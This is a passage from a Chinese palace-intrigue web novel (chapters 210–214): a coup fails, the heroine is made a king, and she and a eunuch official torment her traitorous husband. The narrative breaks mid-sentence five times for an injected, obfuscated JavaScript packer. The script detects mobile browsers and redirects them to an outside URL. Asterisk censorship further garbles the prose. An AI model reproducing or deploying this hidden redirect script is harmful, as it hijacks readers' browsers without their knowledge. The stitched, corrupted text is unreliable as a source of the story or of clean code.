可他早就已经毒入骨髓,按理来说绝不可能保持清醒,更别说安安静静地在床上躺了这么长时间,还一动不动了。 这是怎么回事? 虽然知道自己定是中计了,但情况变化得太快,孟希越直到现在还是晕头转向的。 宫中,京中,城外,他做了三层准备,怎么能这样被无声无息地攻破了呢? “老实点!” 越想越心中不安,孟希越焦躁得连连晃动身子,又被隐月一把按住,压低了声音威胁着。 床上,昭德帝的目光依旧锐利,朝那边看了一眼才缓缓开口。 “叶氏独女叶晚竹,巡牧南疆,击溃叛党阴谋,有大功于大梁,特此封为威远王!” 此话一出,殿中顿时传来一阵阵倒吸冷气的声音! 一众大人们面面相觑着,简直要集体怀疑自己的耳朵。 他们听见什么了? 圣上封了叶晚竹为王? 这,这叫怎么回事? “圣上,您……” 人群中刚有声音传来,昭德帝便冷冷地朝着那边看了过去。 “怎么,你要说朕是病得糊涂了?先看看你自己!” 那位大人一哽,顿时满脸羞愧地低下头去,一张脸先是涨得通红,随后又变得惨白一片。 他们今天跟着安王世子进宫,原本是抱着圣上即便不死也失去了对宫中所有掌控的念头才来的,谁知道,圣上就算只剩下一个脑袋可以动,也还是牢牢把握着一切! 那他们这些人又算什么? 乱臣贼子! 想到这儿,那大人双膝一软,无声无息地倒在了地上。 脚步声响起,两排御林军鱼贯而入,将这群跟着孟希越的大臣们团团围住了。 对上这些面无表情的御林军,有些大人的面上便浮现出了无比惊惧的情绪。 “圣上!我等,我等都是被安王世子骗了啊!” 只听一声大喊,一个身材瘦弱,白面无须的文臣挣扎着朝昭德帝的方向挤着,露出一张有些狰狞的脸。 “是安王世子暗示我等,说圣上您被奸人所害,只能给他传送消息,我等这才被骗着来到宫中,本是要想办法援救圣上的啊!” 这位是刑部主事崔大人,他浑身上下都哆嗦得不成样子,看上去好像随时都有可能要昏倒似的。 有这位带头,被包围着的大人们也纷纷哭天喊地地诉起了自己的委屈。 听来听去,所有人无外乎都是被孟希越骗了。 “都,都给朕住口!” 昭德帝本就气力不济,听着这些大人们吵吵嚷嚷的声音,更是怒而呵斥起来。 “你们心里打着的都是什么主意,以为朕会不清楚吗?一群墙头草,心思叵测的废物!” 都跟着孟希越到宫中来了,还想两头讨好,自圆其说? “你们这是把朕当成傻子不成!” 呼哧呼哧地喘着粗气,昭德帝又朝着叶晚竹看去。 “领旨吧!”他语气果断而坚决,“若是没有你,就凭这帮废物,朕恐怕早就已经**不知道多少回了!” 叶晚竹又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807201|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上前几步,跪倒在昭德帝面前,“臣女领旨谢恩!” 威远王,这个名号一赐,她和萧子景便是平起平坐的关系了! “这,这……这怎么能行!” 萧子景目瞪口呆地看着眼前发生的一切,直到亲眼见着叶晚竹谢恩后又站起身来,这才脱口而出。 “她是我的王妃,怎么,怎么能封王?” 还是和他一样的异姓王! 昭德帝垂下目光,似乎连多看他一眼的兴致都没有了。 “圣上您不能这样啊!” 见昭德帝如此,萧子景显得更加着慌,“我,我——啊!” 叶晚竹寒着脸走到他身边,弯腰便将萧子景从地上拎了起来,反手一个大耳光扇了过去! “你也知道自己是圣上亲封的异姓王?却联合贼人,意图**?萧子景,你还知道你是有脸有皮的人吗?” “还给圣上造谣诬陷,你是怎么好意思继续站在这里说话的?” “来,转头,你的主子在那儿呢,乖乖地去求他给你再封一个王吧,就叫——谣王,怎么样?” 一边说着话,叶晚竹一边不住地抽着萧子景的脸,清脆的巴掌声在整间宫室中回荡开来。 有先前的那些经历,萧子景对上叶晚竹的时候,气势就先输了一半,这会儿察觉到叶晚竹的巴掌越发有力,就更是瑟瑟发抖,连话都说不出来了。 怎么会,怎么会变成这样呢? 这不应该啊? 萧子景目光呆滞,一时间脑袋一片空白。 殿中众人似乎也都傻了眼,万万没想到事态会如此发展,望着叶晚竹抽打萧子景的动作,不知道该作何反应。 他们不是来逼宫的吗? 现在这算怎么回事儿? 家庭纷争?内部矛盾? 叶晚竹若是有多余的注意力分给这些大人们,多半会一人送他们一个冷笑。 都不是! 她和萧子景之间,是不死不休! 不过叶晚竹并没有打算这么做,依旧全神贯注在萧子景身上,直到身后传来一阵脚步声,这才停了下来。 第二百一十章 这个祸害,放着我来! “威远王果然威武,不过用手太累了,还是用这件趁手的家伙吧。” 谢无咎带着淡淡笑意的声音传来,与从前似乎没有任何不同,听着他的声音,叶晚竹不由得有了一瞬间的恍惚。 仿佛她从来没有离开过京城似的。 可等回过头,看到同样瘦了一大圈,眼下青紫深重的谢无咎,一切却又都回到了现实之中。 “威远王,请吧?” 笑吟吟地将金杖往叶晚竹面前又松了松,谢无咎挑着眉头,眼底含着一丝微光。 定定地看了片刻,叶晚竹反手拿起金杖,猛地朝着萧子景抽了过去! “景平王!你私下这样揣测我,诋毁我,已经有多长时间了?不会是每天每夜吧?” 熟悉却略显久远的疼痛袭上身子,萧子景惨叫一声,有气无力地躲避着,效果却几乎没有。 “我,我说的难道不是实话?” 被逼至绝境,萧子景也豁出去了,咬着牙死死抗下叶晚竹的抽打,声音都在哆嗦着。 “若是你和圣上没有私情,无缘无故,他为什么要对你这么好?又赐金杖,又封你为王,你一个女人,有什么资格当异姓王?” 萧子景这会儿已经完全忘记了自己就在昭德帝面前,又或者说,哪怕是在圣上面前,他也已经全不在乎了。 事已至此,除了死,他还有哪条路能走? 反正也是烂命一条,他想说什么就说什么! “**,你不就是看不起我吗?你以为自己又能高贵到什么地方去?” “你以为圣上还能活多久?他一死,你也得跟着陪葬!” “你这个人尽可夫的贱女人!” 口不择言地骂着,萧子景本就狰狞的面容也因为这些词语而变得更加扭曲不堪。 殿中气氛凝滞,甚至是连同孟希越等人在内,看向萧子景的眼神都透露着一股尴尬。 眼下这是在宫中,就算局势已经混乱到了一定的地步,在萧子景这般开腔之前,也没人觉得他们这会儿是在市井之间。 或许还不如,京城大街上的百姓,说起话来都比这位景平**雅多了! 这是妥妥的流氓气息啊! 竟然能出现在这种地方! 叶晚竹起初还挥动着金杖,听着听着,手中的动作便也渐渐放缓了下来。 到了最后,她拄着杖子站在一旁,垂着目光,不带一丝波澜地听着萧子景口中喷薄而出的低俗恶语。 “住口!成,成何体统!” 萧子景说出的话不仅不忍卒听,甚至还不重样,昭德帝最先忍不了,低喝一声,“简直是满口胡言!” 难登大雅之堂! 被昭德帝这么一打断,萧子景倒是收了声,可一只愤恨的眼睛还是控制不住地落在眼前的几人身上。 “事已至此,成王败寇,杀了我吧!” 痛痛快快地把心里话都说了出来,管它是真的还是假的,萧子景仿佛放下了心头的一块大石头,望着昭德帝,不忿地昂起了脑袋。 下一刻,叶晚竹的轻笑声又响了起来。 “谁说你现在就可以**的?” 萧子景梗着的脖子顿时变得更加僵硬! “你,你什么意思?”他转头看向叶晚竹。 “要不是有这么一个机会,王爷怎么会把这点真心话说出来呢?您这番心意,我可不能浪费了,否则,岂不是要白白地挨了王爷这么多编排?” 重新拎起金杖,叶晚竹走上前去,一脚踹在萧子景**! “啊啊啊啊!” 萧子景立刻惨叫起来! 天知道,他早就以为自己再也感觉不到那点东西了! 可现在,萧子景却恨不得自己还是没有任何感觉! “陛下!” 弯腰将萧子景拎在手中,叶晚竹又朝着昭德帝看了过去,语气冰寒。 “萧子景如此侮辱圣上,侮辱微臣,实在是叫人忍无可忍,您要先处理这等乱臣贼子,这个祸害,便先交给微臣,您以为如何?” “准了。” 昭德帝的面上也看不出多少情绪,一口便答应了下来。 萧子景这会儿才后知后觉地哆嗦起来。 他暂时死不了,而且还要落到叶晚竹手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807202|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里了! 那会是什么感觉? 比生不如死还要恐怖吧? 双眼一翻,萧子景猛地又吸了一口气,随即便晕**过去。 叶晚竹漠然地看着他瘫软的身子,手一松,萧子景便像一条死狗一样躺在了地上。 “诶呀,世子,你看看,你精心发掘的都是些什么部下?” 这个时候,谢无咎优哉游哉的声音又响了起来,带着一阵微妙的快意。 孟希越抬起眼皮,朝谢无咎看了过去。 随着这二人对上视线,方才凌乱到不知为何物的宫室好像渐渐变回了正常。 大人们也都再次紧张起来,顺便也想起来他们今天是来干什么的了。 空气也似乎越发变得稀薄了几分。 “你是怎么做到的?”孟希越语气沉沉,“这不可能。” 就算谢无咎手上有人,想要反击,也不应该连一丁点儿声音都没有传来才是。 除了最初的那阵打斗声,眼下各处都已经恢复了一片安静,若不是身处于此,恐怕没人会相信宫中这会儿正酝酿着一场风暴。 谢无咎抱着双臂靠在殿门上,狭长的眼眸掠过孟希越紧绷难看的脸,又渐渐下移,朝着他的腰身而去。 大概是因为萧子景方才那一番疯言疯语,那一众大臣们这会儿十有**,心思都朝着某个不可言说的方向歪了过去。 九千岁看安王世子的下半身干什么? 难道问题也会出在这儿? 被神情各异的目光盯着,还都是朝着自己身下而来,饶是孟希越用力板着脸,这会儿也感到颇为不自在。 他下意识地抬手朝腰带摸了过去,掌下却是一空—— 一怔之下,又意识到了什么,孟希越抬头的动作做到一半,便又难以置信地顿住了。 他的腰牌不见了! 那腰牌是他号令手下的信物,孟希越向来不会随意乱放,今天这种场合,更是牢牢地戴在身上。 可是现在却不见了! 心思急转,孟希越飞速回忆起来。 唯一有机会靠近他的,是—— 第二百一十一章 竟然是你 “父王。” 死死地咬着后槽牙,孟希越抬起头,看着自己的父王,安王殿下在几个锦衣卫的保护下走了进来。 在他手中攥着的正是那块腰牌。 深吸了一口气,孟希越这会儿感到一阵天旋地转! 谢无咎再用兵如神,队伍调遣也需要一定的时间,从出发到进入皇宫这么一段距离,孟希越想了又想,也只有他把安王塞进马车里的那个时候,是最容易被得手的。 “没想到,最后儿子竟然是败在您的手上。” 隔着人群和安王四目相对,孟希越的表情已经是难看至极。 安王的神情也没好到什么地方去,他眉头紧缩,脸色青白,嘴唇也在止不住地哆嗦着。 当初他被孟希越这个逆子关在别院之中,还没等到安王绞尽脑汁地逃出去,隐翼便先一步带着谢无咎的亲笔信找上门来。 此后种种,安王都是在隐翼的指点下办事的。 这会儿一切终于停歇,安王的脑子一片空白,什么都想不起来了。 “父王为何要背叛儿臣!”孟希越的声音听上去颇为痛心疾首,“儿臣一心为父王打算,却只换来一个这样的结果?真是令儿臣寒心!” 此话一出,安王的神魂也渐渐地又聚拢了回来。 “你为我打算?”他嘴角抽动,“这件事除了你,还有谁知道?你问过我一句我想不想这么做吗?” 二话不说就要把亲爹推到风口浪尖上送死,还一心为他打算? 安王又开始哆嗦起来了,这次是被孟希越气的。 “逆子,你这个逆子!赶紧跪下投降!莫要再想那些不靠谱的!”他指着孟希越的手指都在不住地来回摇晃着。 闻言,孟希越的嘴角勾起了一丝笑容,透着苍凉,无奈,还有一丝讥嘲。 “事已至此,我确实是没什么好说的了!” 闭了闭眼,孟希越站在原地的姿态却依旧显得傲然。 “你!”安王瞪了瞪眼,却摆明了只能气急败坏。 他这段时间的手段再隐秘,经历的磨炼再多,安王的本性依旧是没改,对上孟希越这幅油盐不进的模样,他只有无可奈何。 谢无咎适时拍了拍手。 “世子真是英勇,不过呢,您的这些滔天气势,还是留着到东厂去使吧。” “来人,送世子过去。” 他轻飘飘的话音落下,隐月和隐翼大步上前,一左一右地拧住了孟希越的胳膊。 “等一下。” 看着两人的动作,叶晚竹忽然出声打断。 她走上前去,抬手捏住了孟希越的下巴,迫使他低头看向自己。 这无疑是个不怎么礼貌的动作,孟希越的表情也又变得难看了些。 “松手!”他从牙缝里挤出两个字,仿佛幽幽地透着冷气。 叶晚竹却视而不见。 “世子一路蓄意针对于我,做出了好大一系列的阴谋,险些让我在南疆丧了命,究其原因,是不是因为……白玉草?” 盯着孟希越的双眼一瞬不眨地看着,叶晚竹轻声道出自己的话,随即便看到眼前人的表情有了些微妙的变化。 孟希越眼下有一小块皮肤止不住地抽动着,很快又被他强行按了下去。 “我不知道你在说什么。”他移开目光,语气生硬。 叶晚竹却笑了笑,无比灿烂,“没关系,我已经知道了。” 她后退半步,给三人让开道,又目送着孟希越的背影走远,再垂下目光的时候,终于忍不住皱了皱眉。 下一刻,叶晚竹便又撞上了谢无咎那双狭长的眼。 两人的目光一触即分,快得甚至看不清彼此流露出的情绪。 现在显然不是时候。 孟希越和萧子景这两个领头之人被处理掉之后,接下来的事情就快得多了。 安王用孟希越的腰牌假传了命令,将石将军带领着的五万南疆军诱到了谢无咎设下的陷阱之中,没了这层包裹,宫中的黑衣人也**尽后重新变得安全。 昭德帝打着精神,将这批犯上作乱的臣子一一处理,削去官职发配边疆,或是罚到偏远苦寒之地去做苦力。 被抓了个正着,大人们连申诉的话都说不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807203|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句,只能哆嗦着被带走。 经此一事,他们还能保住这条小命,已经是幸运至极了! 这些大人们也离开后,偌大的乾清宫终于安静了下来。 还留在殿中的只剩下叶晚竹,谢无咎,还有已经踉踉跄跄朝着昭德帝扑过去的安王。 “圣上啊,你,你这是——” 安王几乎已经要认不出来眼前的人就是昭德帝,他慌里慌张地问着话,手一哆嗦,险些整个人都摔倒在地! 关键时刻,安王用尽全身的力气,好悬稳住了自己的身子,却还是将盖在昭德帝身上的锦被扯开了一角。 他低头看去,而后立刻倒抽了一口冷气! 叶晚竹也不由得屏住了呼吸。 从她的角度看去,昭德帝放在锦被下的手脚,都以一个诡异的角度扭曲着,毫无生机地陷在床榻上,显然是都已经被折断了! “这,这是哪个小兔崽子干的?”安王下意识地转过头,“又是孟希越?” “是我。” 谢无咎的声音再次响起,这回里面便没了那熟悉的,游刃有余的笑意。 安王猛地又朝反方向转过头,速度太快,差点儿扭了脖子。 他神情痛苦堵看着谢无咎,“你?” 谢无咎沉默着走上前来。 “圣上中了世子的剧毒,除非是这样,否则便会狂躁不止,伤人无数。” “若是那样的场面被刚才的大人们看见,恐怕就回天乏术了。” 淡淡地交代着原因,谢无咎的语气中满是冷峻。 昭德帝也又咳嗽几声,试图引起安王的注意。 “是朕同意这么做的,二哥啊,朕时日无多了,有几件事只能托付给你。” 此话一出,安王的眼睛里便立刻漫上了一层水雾,“陛下您说吧,二哥保证给你办成!” 昭德帝用力睁大了眼睛。 “你要……扮演朕,假装朕已经被治好了,一切都恢复了正常。” 安王闻言顿时张大了嘴,已经开始崩溃的情绪都被迫停了下来。 他听见了什么? 第二百一十二章 朕相信你 让他扮演昭德帝? 这一个两个的,怎么都要让他当皇上? 你们自己当不行吗? 可看着昭德帝的模样,安王胸口的那股气又在瞬间泄了个干干净净。 至少这位是不行的。 “……老十啊,你,你这不是在为难我吗?” 迎上昭德帝期盼的目光,安王的脸涨得通红,憋了半天才憋出这么一句无可奈何的话。 他何德何能来扮演皇上啊! 别说他连一**帝是怎么当的都没见过了,就是在这皇宫里,他也没住上多少日子! 这不是要被人一眼看穿吗! 左右为难之下,安王连昭德帝的旧时的称呼都喊了出来。 “二哥!咳咳咳……” 昭德帝见状也叹了口气,加重了语气想说话,却又被一阵忽然涌上的浊气顶得连连咳嗽起来。 他一边大口大口地喘着气,目光一边死死地锁在安王身上。 “你,你是最熟悉朕的人,咳咳……朕相信你!” 安王闻言欲哭无泪,可是他不相信自己啊! “谢都督会帮你的,还有晚竹,”昭德帝缓过一口气,语气又变得平和,“二哥,不论如何,你一定要做到,否则,大梁的江山危矣!” 昭德帝薨了的消息一旦传出去,孟希越那边不可能什么反应都没有! 到了那个时候,还有人能像今天这样,四两拨千斤地解决问题吗? 除非还有一个昭德帝! 咬着嘴唇,安王最终还是狠狠地点下了头,“行!” 就让他坐坐这个龙椅好了! 有什么了不起的! 眼见他答应下来,昭德帝长长地舒了一口气,露出一个微笑,却很快又猛烈地呼吸起来。 他双眼放空,牙关紧咬,豆大的汗珠瞬间就从脑袋上冒了出来! “咯、咯咯……” 令人不适的细碎声响从昭德帝口中溢出,他已经失去了身体的控制,只能用力转动着一双眼珠子,挨个朝站在自己床边的三人一一看过去。 这个时候,躺在床上的人忽然间就变得不像是昭德帝,甚至都不像是一个人了。 他面容狰狞,整张脸都开始涨红,又很快发紫,看上去好像正被人狠狠掐着脖子似的。 昭德帝望着三人的眼神也开始变得邪恶,里面仿佛蕴藏着无尽的渴望。 他像是饿了许久的人,忽然看到了三盘丰盛的大餐,恨不得一口全都吃进肚子里。 安王不由得狠狠地打了个寒战! 谢无咎这时候沉默不语地走上前去,不知道从什么地方摸出一个小瓷瓶,摁着昭德帝的脑袋,强行掰开他的嘴,把里面的东西灌了进去。 叶晚竹闻到了一阵奇异的味道,仿佛是鲜血混杂着不少药材而成。 这是什么东西? 把小瓷瓶里面的东西全都灌入昭德帝口中,谢无咎后退两步,双眼静静地注视着他。 昭德帝紧闭双眼,似乎从一个极端又变到了另一个,这会儿全身上下都写满了拒绝。 他干呕两声,却什么都吐不出来,片刻后,神情却倏然变得平静了下去。 再睁开眼,熟悉的清明又出现在昭德帝眼中。 方才的一切都发生得无比利落,偌大的殿中甚至没有传来太多响动。 可亲眼目睹了那一切,叶晚竹却不能自控地感到自己浑身上下都散发着寒气。 安王更是仿佛被眼前的景象骇住了一般,瞪大了双眼,连半点反应都做不出来了。 “二哥,日后还要辛苦你,先回去休息吧。” 眨了眨眼,好像在适应面前的一切,昭德帝很快又将目光落在了安王身上。 他这番模样分明和刚才别无二致,安王却变得越发紧张兮兮的。 昭德帝也不多说,目送着宫人将安王带走,待殿门重新关上,这才将目光收回,落在了叶晚竹的身上。 不知为何,叶晚竹的心忽然跟着颤了颤。 “晚竹啊,朕要给你道歉。” 张了张口,昭德帝的声音很轻,好像立刻就能散在风里似的。 叶晚竹闻言倒是又变得疑惑起来。 下一刻,昭德帝闭了闭眼,两行眼泪滚滚而下。 “朕早就该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816594|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处置了萧子景这个混账东西!” 或许更早,他就不应该看在叶家的份儿上,给萧子景封这个异姓王! 若是这样,这段时间以来的一切事情,是不是都不会发生了? “朕后悔了……”又长叹一声,昭德帝的语气无比痛苦。 叶晚竹闻言抿了抿唇,眼中却是一片清亮。 “陛下无须这般,萧子景本就不是什么好东西,便是您不给他封王,想来他也有别的办法往上爬。” 从选择入赘叶家,却要软饭硬吃开始,萧子景便注定不会是安于现状之人。 若是非要怪,那叶晚竹也只能怪自己当初心太软,非要当这个好人了。 昭德帝这时候却又睁开了双眼,示意谢无咎上前,从床头的暗格中拿出了一卷圣旨递给叶晚竹。 “打开看看……” 叶晚竹依言照做,展开那明黄的长卷,一行行地通读下来,眼中不禁闪过了讶异的光。 这便是刚才封她做威远王的圣旨,可昭德帝却只口述了一半。 除了封她王位,昭德帝还大手一挥,给小花也封了一个威远王女世子的名号! 异姓王该有的府邸,田庄也一个不缺地写在上面,末尾盖着大印,一切都已经准备就绪了! “若是没有叶家,当年朕不可能活得下来。” 眼见叶晚竹看完了圣旨里的内容,昭德帝又低声说了起来。 “朕还在壮年,本以为时间还长,能慢慢报恩,却没想到世事无常,来不及了。” “既然如此,那就重新开始,把本该属于你的东西,都还给你!” 景平王府先前为何如此荣耀?与叶晚竹至少有一半的关系。 昭德帝御驾亲征也有几个月的时间,救过他的将士并不只有萧子景一个,他却只封了这一个异姓王。 却没想到,最后竟然养出了一个仇人,还回头反咬一口! 想到萧子景,昭德帝不由得又冷笑了起来。 升米恩,斗米仇,他给萧子景的实在是太多,太好了! “那条白眼狼,你现在可以想怎么收拾,就怎么收拾了!” 第二百一十三章 这是本督的礼物 怀揣着昭德帝的这句口谕离开乾清宫,叶晚竹却并未觉得有多高兴。 “圣上到底怎么了?” 从已经恢复了正常秩序的皇宫离开,叶晚竹和谢无咎一路无话,直到走进东厂,在大殿中坐下,她才终于抬眼朝着谢无咎看了过去。 几个月前的那封信语焉不详,只写了昭德帝**,可具体是什么情况,叶晚竹却是一头雾水。 比起她离开之前,东厂这会儿到处都飘着血腥味,再配上谢无咎阴冷沉郁的神情,更是衬得气氛阴森森的。 谢无咎低声将从柔妃**开始,直到他给叶晚竹写信这段时间的事情一五一十地讲了出来。 叶晚竹听得浑身发冷,随后又不能控制地生出了无比愤怒的情绪。 “孟希越这是疯了!” 给当朝圣上下毒! 亏他能想得出来! “那圣上现在……” 顿了顿,叶晚竹的问话并未完全出口。 就方才昭德帝的模样,怎么看都不像是没事的样子。 谢无咎又压低了几分声音,彷如一阵轻薄的风。 “孟希越送到宫中的药粉早就用完了,如今……圣上是在靠柔妃的血强撑着。” 没了药粉之后,昭德帝的状况飞快地衰弱下去,谢无咎也是死马当作活马医,没想到还真误打误撞地起了效果。 叶晚竹闻言又顿了顿,不想再问柔妃如何。 她**的时间更早,想来更是好不到什么地方去。 “孟希越在南疆肯定还有势力没有被挖出来。” 想到这儿,叶晚竹抿了抿唇,“我们在南疆一路所行,从来没有听说过这么邪恶的**。” 把人变成如此半死不活的模样,实在是骇人听闻! 南疆。 听着这个地方,谢无咎的眉宇之间也萦绕上了愁绪。 孟希越究竟还做了什么? 叶晚竹这会儿也想到了孟希越,正要开口,忽然听见外面有人通传。 “九千岁,王——威远王,景平王爷醒了!” 方才叶晚竹便让人将昏迷不醒的萧子景送到了东厂,闻言,她抬起头,和谢无咎交换了一个眼神。 “王爷如何啊?”谢无咎朗声发问。 别管心里有多少愁绪,谢无咎开口说话的时候,仍是让人听不出半分端倪。 隐月等几人都在忙着各自的任务,前来传话的是一个小厮,听着谢无咎的声音,他自己先打了个哆嗦。 景平王如何? “王爷,王爷的情绪……有些激动。”小厮讪讪地道。 叶晚竹顿时明白过来。 恐怕是非常激动,正在破口大骂吧。 谢无咎显然也有所感,拍了拍手轻笑一声。 “既然这样,那就把景平王带过来吧,有什么话,让他当着本督的面说好了。” 谢无咎一声令下,很快,萧子景便被五花大绑着送到了大厅之中。 “放开我!放开我!你们这帮该死的阉人!狗奴才!” 比起一个时辰之前,萧子景眼下的模样看起来更狼狈了,头发打着绺缠绕在一起来,让他跟一个真正的疯子也没有什么区别。 只剩下一双脚还能走路,也不妨碍萧子景用尽浑身的力气拼命地挣扎着。 “王爷,精神不错嘛!” 直到听见谢无咎笑吟吟的声音,萧子景的动作才顿了一下。 也只是一下,几乎是立刻,他便猛地扭过脖子,朝着谢无咎怒瞪过去! “该死的阉贼!” 五官扭曲着,萧子景双眼赤红,看上去恨不得立刻冲上来,一口咬断谢无咎的脖子! 只差一步,只差一步了! 要是刚才这个阉人没有出现,这会儿,说不定安王世子的计划已经成功了! 他哪里还用得着受这种折磨? 萧子景仇视地看着眼前的每一个人,目光最终落在了叶晚竹的身上。 有那么一瞬间,萧子景愣了愣,似乎是不敢相信自己的眼睛。 “王爷,你还h认得——本王吗?” 坐在宽大的圈椅之中,叶晚竹也暂时敛起思绪,笑着朝萧子景挑了挑眉。 萧子景这才又从那噩梦般的场景中回忆起了一件事。 昭德帝给叶晚竹封了王! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816595|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “放屁!”他顿时怒不可遏地咆哮起来,“什么本王本王的?你,你是景平王妃!” 萧子景的呼吸忽然变得粗重了起来。 谋反可是要株连九族的罪名,叶晚竹也别想逃! 他活不成,也得拉上她垫背! “你是景平王妃,是王府的人,怎么能离开王府独自过活?本王绝不答应!”萧子景又不断嘶吼起来。 叶晚竹静静地坐在桌边,看着萧子景这不知道是今天的第几次变脸。 她的内心毫无波澜,甚至还有些想笑。 萧子景这是知道自己占不到好处,所以要拉着她一起倒霉才行? 这男人比他自己表现出来的还要不堪得多。 “景平王这话说的就有些好笑了吧?” 另一边,谢无咎单手撑着脑袋,看着萧子景又笑出了声。 “我怎么记得,您到这东厂门外来叫骂的第一天,就把休妻书签了十几份,见谁都往人家手里塞呢?就连本督的手下都有幸收了一张,当时本督还很是鉴赏了一番王爷的好文采呢。” “来人,把那休妻书拿过来。”他又朝着门口看去。 小厮立刻行动,很快就端着一个精致的木头盒子折返回来。 “给威远王瞧瞧吧。”谢无咎的语气显得十分漫不经心。 小厮打开盒子,叶晚竹将里面那张有些破损,但却依旧保存完好的文书拿了出来,果然看到萧子景在最后签上了自己的名字。 难怪方才昭德帝没有提到和离的事情。 “王爷大恩大德,本王这就收下了。” 朝着萧子景扬了扬手里的文书,叶晚竹嘴角的笑意终于变得真实了几分。 能和萧子景一刀两断,怎么说都算是一件好事! “这盒子,也请威远王一并笑纳了吧。” 看着叶晚竹要将休妻书收起,谢无咎却忽然出了声,又伸手把那个雕花的木盒往叶晚竹的方向推了推。 “这是本督准备的礼物,恭贺威远王——逃出火海。” 萧子景忍不住转头看了过去。 他怎么觉得这话这么不对劲呢? 第二百一十四章 坦白了,你没猜错! 这该死的阉贼一口一个威远王地叫着叶晚竹,存心是为了恶心他也就算了,可他的语气,怎么这么暧昧? 用力皱着眉头,萧子景犹疑的眼神在谢无咎和叶晚竹身上转来转去。 略显久远的怀疑终于再次回到他脑海当中,萧子景的表情也不由自主地变得更加难看。 谢无咎这时候又笑了一声,从表情到语气都写满了嚣张。 “怎么?景平王对于本督和威远王的关系,是不是又有了什么新的臆测?” 话虽如此,谢无咎浑身上下却都透露着四个大字。 你没猜错! “你——!” 萧子景猛地倒吸了一口冷气,不知道是因为震惊,还是被挑衅的愤怒。 叶晚竹也在短暂的怔愣过后回过神来,抬手将文书放进那个盒子之中,又动作小心地合上盖子。 “多谢九千岁赠礼。”她抱起双臂,十分坦然。 萧子景的脸这下更是气得扭曲成了一团,又盯着叶晚竹看了过来。 “我果然没看错,你这个**!不知廉耻的东西!” 宁愿和一个假太监厮混在一起! “哦?王爷确定自己是果然没看错?” 萧子景的语言攻击,叶晚竹刚才已经听得太多了,完全对她构不成任何伤害。 她轻笑一声,又摸着下巴故作疑惑,“可是我怎么记得,几个时辰之前,王爷刚刚信誓旦旦地说过,和我有私情的人是圣上呢?” “要是这样说来,我也可以把京中叫得上名号的王公大臣们,都和王爷配上一圈,看王爷和谁说话,那就把谁说成是你的奸夫好了。” 听着这话,谢无咎不由得又笑出了声,“那第一个想来应该是安王世子,这两位几个月来,可是萧不离孟,孟不离萧的。” 萧子景的脸色开始涨红,然后又变成了酱紫色。 “**,你们两个**!”他呼哧呼哧地喘着粗气,“休得胡说八道!” 这会儿提起安王世子,萧子景便能想到这位的居心叵测! 要不是叶晚竹从前干的好事,给他扣上了那样一个帽子,他也不会被安王世子盯上! 此时的萧子景已经完全忘记了自己是怎么盘算着要和孟希越合作的了。 他愤怒地瞪着眼前的两个人,浑身上下止不住地哆嗦着。 “依本督看,景平王剩下的这只眼睛似乎也没什么用,不如还是也别要了为好。” 谢无咎这时候站起身来,几步走到萧子景面前,不顾他越发猛烈的挣扎,抬起手来在萧子景仅剩的那只眼睛上轻轻地摸了一下。 他的手指一片冰凉,萧子景立刻哆嗦得更加厉害了。、 “你要干什么?”他肝胆俱裂地大喊起来,“别碰我,别碰我!” “冷静一点,王爷。” 谢无咎的声音没有半分波动,细长的手指顺着萧子景的眼眶来回打着圈。 